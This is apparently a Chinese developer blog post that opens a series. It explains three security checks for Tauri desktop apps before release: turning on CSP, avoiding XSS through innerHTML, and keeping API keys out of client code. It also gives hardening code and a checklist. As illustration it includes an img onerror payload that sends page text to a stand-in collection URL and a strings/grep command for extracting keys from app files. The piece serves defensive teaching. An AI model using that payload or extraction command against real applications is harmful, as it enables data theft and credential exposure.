企业官网建设流程全解析

Tauri 桌面应用上线前，必须先查的 3 个安全细节

发布元信息（发布前删掉此区块）

• 标题备选：《Tauri 桌面应用上线前，必须先查的 3 个安全细节》《本地应用不是更安全：Tauri 应用的 3 个致命细节》
• 关键词：Tauri、桌面应用安全、CSP、XSS、最小权限、密钥管理、Rust
• 配图：4 张（图 1–图 4），位于 images/ 目录；正文已带编号图注，可直接沿用
• 系列位置：第 1 篇（共 9 篇）

本系列

①Tauri 桌面应用上线前，必须先查的 3 个安全细节（本篇）
② 不用 Git，如何在 SQLite 里实现版本控制与回滚
③ Tauri 应用自动更新：从签名密钥到三平台发布的完整流程
④ AI 写的项目能跑但不敢改？我的 6 步重构顺序
⑤ 本地优先应用的 SQLite 表设计：5 个让我返工的取舍
⑥ FTS5 真比 LIKE 快吗？我把两万条中文数据压测了一遍
⑦ 小工具别急着上 React：万行数据下原生渲染的性能账
⑧ 手写词级 Diff：从 O(n²) 到可用的 6 行代码
⑨ 本地应用的数据迁移：schema 演进的坑与一条能回退的路

读完这篇你能拿到什么

• 一份可以直接抄进项目的 CSP 配置，以及开启后不误伤 IPC 的关键一行
• 一个判断"这段代码会不会被 XSS"的快速标准，不用再凭感觉
• 一条关于密钥放置的硬原则，帮你避开那个最常见的错误方案
• 一份发布前十分钟能过一遍的自检清单

引言：桌面应用不是"更安全"，而是"更危险"

很多从 Web 转过来做桌面的同学有一个直觉：数据都在用户本地，不上服务器，安全自然比 Web 简单。

这个直觉是反的。

Web 应用即使被注入脚本，攻击者拿到的也只是当前页面的 Cookie 和 DOM；而桌面应用的渲染层一旦被打穿，攻击者脚下站着的是一台有真实文件系统、能弹系统对话框、能打开外部进程的机器。你的 WebView 不再是隔离沙箱里的小房间，而是用户整台电脑的一个入口。

最近在给一个本地优先的桌面小工具做出厂体检，发现的问题很有共性，归结起来是三个：

1. CSP 被关掉了，自己还不知道
2. 用innerHTML渲染用户输入，全线失守
3. 第三方 API Key 明文写死在前端代码里

三个都不是"会不会发生"的问题，而是"什么时候被发现"的问题。逐个拆。

一、先理解：桌面端的安全模型和 Web 哪里不一样

在做加固之前，先统一认识，否则很容易拿 Web 的惯性思维做事：

关键在第三行。Tauri 的权限是靠capabilities配置授权的，前端 JS 可以直接invoke这些能力——一旦页面里能跑任意脚本，这些能力就自动成了攻击者的能力。这是后面三个坑危害被放大的根本原因。

把这条链路完整画出来，你就能看清每个坑分别卡在哪一环：

图 1｜桌面端注入脚本的完整攻击链。五个环节里，第 2、3、4 步恰好对应后面要讲的三道防线：输出编码卡在第 2 步，CSP 卡在第 3 步，最小权限卡在第 4 步。看懂这张图，后面每个坑卡在哪一环就一清二楚了。

二、坑一：CSP 被关掉了，你却毫无察觉

现象

Tauri 项目默认生成的配置文件里，app.security.csp是空的（未设置），也就是不启用任何内容安全策略：

{"app":{"security":{"csp":null}}}

不启用意味着：页面上任何一段被注入的脚本，都可以向任意域名发起请求，也可以从任意地址加载远程脚本。

有人会说：“我的页面全是本地资源，没有跨域内容，不怕。” 但对本地优先类应用来说，输入从来不止来自网络：用户互相分享的数据文件、导入的配置快照、读取进来的本地文本内容，全是不可信输入。

为什么危险

关掉 CSP 后，一次注入就能形成完整攻击链，而且数据会直接被带出去：

<!-- 攻击者构造的一段内容，被你的渲染层当成 HTML 拼进页面 --><imgsrc="x"onerror="fetch('https://example.com/collect?d='+btoa(document.body.innerText))">

没有 CSP，这段脚本畅通无阻。

正确做法

开启 CSP。一份可直接抄的基线（按你所用的 Tauri 版本自查字段名）：

{"app":{"security":{"csp":"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: asset: http://asset.localhost; font-src 'self' data:; connect-src ipc: http://ipc.localhost"}}}

有两个地方必须注意，几乎所有人第一次配都会踩：

• connect-src要放行 IPC：Tauri v2 的前端与后端走的是ipc:自定义协议（以及开发期的http://ipc.localhost）。漏了它，开启 CSP 之后你会发现所有invoke调用全部失败——很多人就是在这一步放弃 CSP 的。
• 有外部 API 请求时，把域名写进白名单：比如只允许https://api.example.com，不要图省事写通配符。CSP 的价值就在于白名单够窄。

上线前务必打开 CSP 再跑一遍完整功能回归，能拦住内联脚本、内联事件处理器和大部分数据外传。

三、坑二：innerHTML是全线失守的那道口子

现象

不上框架、用原生 TS 写渲染层时，最顺手的写法是模板字符串：

list.innerHTML=items.map((item)=>`<div class="card"> <h3>${item.name}</h3> <p>${item.content}</p> </div>`).join('');

只要item.content经过用户手，这就是一个存储型 XSS。

为什么桌面端比 Web 端更严重

在 Web 里，注入脚本能做的事受同源策略限制；在桌面应用里，如果权限配置得宽松，注入脚本可以直接调用已授权的本地能力：

// 假设 capabilities 里放行了较宽的文件读取范围const{readTextFile}=window.__TAURI_INTERNALS__;// 注入者可以直接把本机敏感文本外发出去

一次渲染漏洞，等价于给攻击者开了一扇通往磁盘的门。这也是为什么我强烈建议：给 fs 类插件配 scope 时越窄越好，只放行应用自己的数据目录，不要图方便放行整个用户目录。

正确做法

三层防御，成本都很低：

第一层：默认用textContent

大多数场景根本不需要 HTML：

functionrenderItem(item:Item):HTMLElement{constel=document.createElement('div');el.className='card';consttitle=document.createElement('h3');title.textContent=item.name;// 天然免疫constbody=document.createElement('p');body.textContent=item.content;el.append(title,body);returnel;}

第二层：确实需要 HTML 时做转义

functionescapeHtml(input:string):string{returninput.replace(/[&<>"']/g,(c)=>({'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;',})[c]asstring);}

注意这不是"替代方案"，而是兜底：转义只处理标签边界，处理不了属性里的javascript:协议，该做的白名单校验还是要做。

第三层：CSP 兜底

即便某处漏了转义，script-src 'self'也会让内联脚本跑不起来。安全工程讲的是纵深防御——单点一定会被绕过，多一层就多一次机会。

四、坑三：把第三方 API Key 塞进前端，等于公开

现象

应用里做了一点 AI 能力，于是前端直接写死：

constAPI_KEY='xxxxxxxxxxxxxxxxxxxxxxxx';constAPI_URL='https://api.example.com/v1/chat';constres=awaitfetch(API_URL,{method:'POST',headers:{Authorization:`Bearer${API_KEY}`},body:JSON.stringify(payload),});

提取门槛低到夸张

桌面应用的"源码"就在用户的磁盘上。前端代码即使经过打包压缩，字符串常量也不会被抹掉：

# macOSstrings /Applications/MyApp.app/Contents/Resources/*.asar# Windows 也有对应的资源提取方式strings app-binary|grep-i'Bearer\|sk-\|api\.example'

不需要逆向、不需要动态调试，几分钟就能拿到。而且它写死在每一个分发出去的副本里，一个人泄露，等于全部泄露。

一个常见误区：挪到 Rust 侧就安全了？

不够。字符串常量在编译进二进制之后，用strings照样能扒出来：

#[tauri::command]asyncfnask_llm(prompt:String)->Result<String,String>{// 这里的 Key 依然存在于最终二进制的数据段中constKEY:&str="xxxxxxxxxxxxxxxxxxxxxxxx";// ...}

把 Key 挪到后端只是抬高了门槛——从"翻源码"变成"翻二进制"，依然是公开信息，不解决根本问题。这一点很多"安全建议"都写错了，值得单独记住。

按这个标准筛一遍，市面上常见的几种摆法其实只有两条能真正解决问题：

图 2｜密钥的两条死路与三条活路。注意左侧两个红框被划进"死路"的原因——它们都只提高了提取成本，却没有改变"你已经把凭据交出去了"这个事实。右侧三个方案里，只有 A 和 B 从根本上解耦了"应用方持有的东西"和"攻击者能拿到的东西"。

真正管用的三条路

方案 A：让用户自带凭据（个人/小工具类，推荐）

应用不打包任何密钥，由用户在设置里填写，存到系统钥匙串：

usekeyring::Entry;fnsave_key(value:&str)->Result<(),String>{Entry::new("com.example.myapp","llm_api_key").and_then(|e|e.set_password(value)).map_err(|e|e.to_string())}fnload_key()->Result<String,String>{Entry::new("com.example.myapp","llm_api_key").and_then(|e|e.get_password()).map_err(|e|e.to_string())}

凭据归用户所有，泄露范围限定在用户自己身上，应用方零责任。

方案 B：走自己的服务端代理（要对外分发的商业应用）

密钥留在服务端，客户端只带自己的登录态，服务端做鉴权、限流和审计。这是唯一能真正做到"别人拿不到 Key"的方案，代价是要有后端。

方案 C：短期子密钥 + 可远程吊销（折中）

如果一定要内置，至少做到：用限额、限源的临时凭据，并且你能在服务端随时让它失效。

一句话原则：任何你没法吊销的东西，都不该放进客户端。

五、把三道防线拼起来看

三个坑对应三道防线，但它们不是三选一，而是各自负责一段。理清每道防线的边界，才不会在出事时找错方向：

图 3｜三道防线各自管什么，边界又在哪里。每道防线都有一句"不负责什么"，这一栏比"负责什么"更重要——它决定了出事时你该往哪个方向排查，也决定了你不可能只靠其中一道就交差。

• 输出编码是第一道，也是性价比最高的一道：改起来最快，挡掉的攻击面最大。它的问题是人的疏忽——只要有一处渲染忘了处理，整条防线就有缺口。
• CSP是第二道：它不指望你写对每一行代码，而是保证"就算漏了，脚本也跑不起来"。代价是配置要准，尤其是connect-src那条 IPC 放行。
• 最小权限是最后一道：前两道都没拦住时，决定攻击者能摸到多少东西。权限一旦放出去就收不回来，所以它必须在发布前定好。

六、发布前自检清单

建议在 CI 里做掉，或至少发版前人工过一遍：

这七项可以直接截图存下来，作为发版前的固定动作：

图 4｜发布前自检清单。前三项针对"渲染层能不能被注入"，中间三项针对"权限和凭据有没有放大损失"，最后一项针对"修完能不能送到用户手里"。顺序也建议照着来——先关掉入口，再收窄影响面。

结语

这三件事之间是有逻辑的，可以串成一句话记：

• CSP的作用是：就算发生了 XSS，也让它跑不起来；
• 输出编码的作用是：让 XSS 压根不发生；
• 最小权限的作用是：就算它跑起来了，也摸不到用户磁盘。

桌面客户端的安全，难点从来不在"某个漏洞多难修"，而在于它被写死在了用户机器上——你修完，只要用户不更新，那台机器上的洞就一直在。所以出厂前多看这十分钟，比事后发公告有用得多。

下一篇

安全只是底线。桌面应用真正难的，是"数据怎么存、改坏了怎么退回去"——下一篇写的是用 SQLite 实现一套版本控制与回滚机制，不需要引入 Git，一百行以内就能跑起来：

② 不用 Git，如何在 SQLite 里实现版本控制与回滚

如果这篇帮你避开了某个坑，收藏一下，发版前拿出来对照检查；也欢迎在评论区说说你踩过的桌面端安全问题。